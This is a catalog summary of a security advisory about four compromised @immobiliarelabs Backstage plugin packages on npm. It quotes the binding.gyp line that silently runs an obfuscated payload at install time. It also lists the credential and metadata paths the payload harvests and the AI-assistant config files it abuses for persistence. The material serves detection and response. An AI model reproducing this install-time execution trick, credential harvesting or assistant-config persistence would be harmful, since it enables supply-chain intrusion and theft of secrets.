Skip to content

Back to the catalog

Multiple @immobiliarelabs Backstage Plugins Compromised on npm
stepsecurity.ioadvisory

Multiple @immobiliarelabs Backstage Plugins Compromised on npm

StepSecurity reports that multiple npm packages published under the @immobiliarelabs scope, used as Backstage plugins, were compromised and had malicious code injected, likely via a maintainer account or publishing credential takeover. The advisory covers the affected package versions and indicators, warning organizations using these Backstage plugins to check their dependency trees for the compromised releases.

TL;DR @immobiliarelabs npm packages for Backstage plugins were compromised with malicious code injected into published versions.
Document

What it is

Four npm packages under the @immobiliarelabs scope — backstage-plugin-gitlab, backstage-plugin-gitlab-backend, backstage-plugin-ldap-auth, and backstage-plugin-ldap-auth-backend — were compromised on June 26, 2026. StepSecurity confirmed the compromise by statically comparing the tarball for backstage-plugin-gitlab 2.1.2 against the clean 2.1.1. All malicious versions were published within a 30-second window as new patch releases across every supported major series simultaneously. StepSecurity ties this to the "Miasma" campaign (same pattern as the earlier leo-platform attack).

How it works

Each bad version adds two files absent from prior releases: a 5 MB index.js and a binding.gyp. Execution fires at install time, not via scripts.postinstall, so postinstall-only scanners miss it. The binding.gyp target uses node-gyp shell expansion to run the payload:

"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]

The payload is triple-obfuscated (ROT-2 Caesar wrapper around eval, AES-128-GCM blobs with hardcoded keys, then obfuscator.io string rotation). One decrypted blob downloads the Bun runtime from the official oven-sh/bun GitHub releases (bun-v1.3.13) and executes the main payload under Bun — a deliberate evasion, since Bun ignores the Node --require hook that many monitoring tools rely on.

Preconditions / Affected

Any self-hosted Backstage instance or CI job that installed one of the four packages at a compromised version on/after June 26, 2026. Highest exposure is CI runners with cloud/registry credentials in scope.

What to do

The page states no fixed version or single command; act on the indicators it does give:

  • Check dependency trees for the four packages at any patch version published June 26, 2026 (the 2.1.x line for gitlab includes the bad 2.1.2; 2.1.1 is clean).
  • Detect installs that spawn Bun or read /proc/<pid>/mem of Runner.Worker, or that touch IMDS (169.254.169.254), ECS metadata (169.254.170.2), or Vault token paths (/root/.vault-token, /run/secrets/VAULT_TOKEN).
  • Rotate everything the harvester targets: GitHub PATs/App JWTs/OIDC/runner tokens, AWS/GCP/Azure creds, Kubernetes service-account tokens, Vault tokens, npm/PyPI/RubyGems/JFrog tokens, SSH keys, and password-manager vaults (Bitwarden, 1Password, gopass).
  • Inspect AI-assistant config for persistence written by the infectHost function: .claude/settings.json (SessionStart hook), .github/copilot-instructions.md, .cursor/rules/, .vscode/tasks.json (folderOpen trigger), .aider.conf.yml, plus Kiro/Cody/Gemini/Codex.

The payload also carries worm functions (squatPackage, updateTarball, handleNpmTokens, handlePypiTokens) capable of republishing packages with stolen registry tokens — so a compromised npm/PyPI token is a propagation risk, not just a leak.

Caveats

StepSecurity states technical analysis of the full payload is ongoing and the post will be updated. Worm capability is inferred from function names, not observed propagation. The full IoC list ("For StepSecurity Cu…") is cut off in the fetched text.

Organisations named here

Technologies named here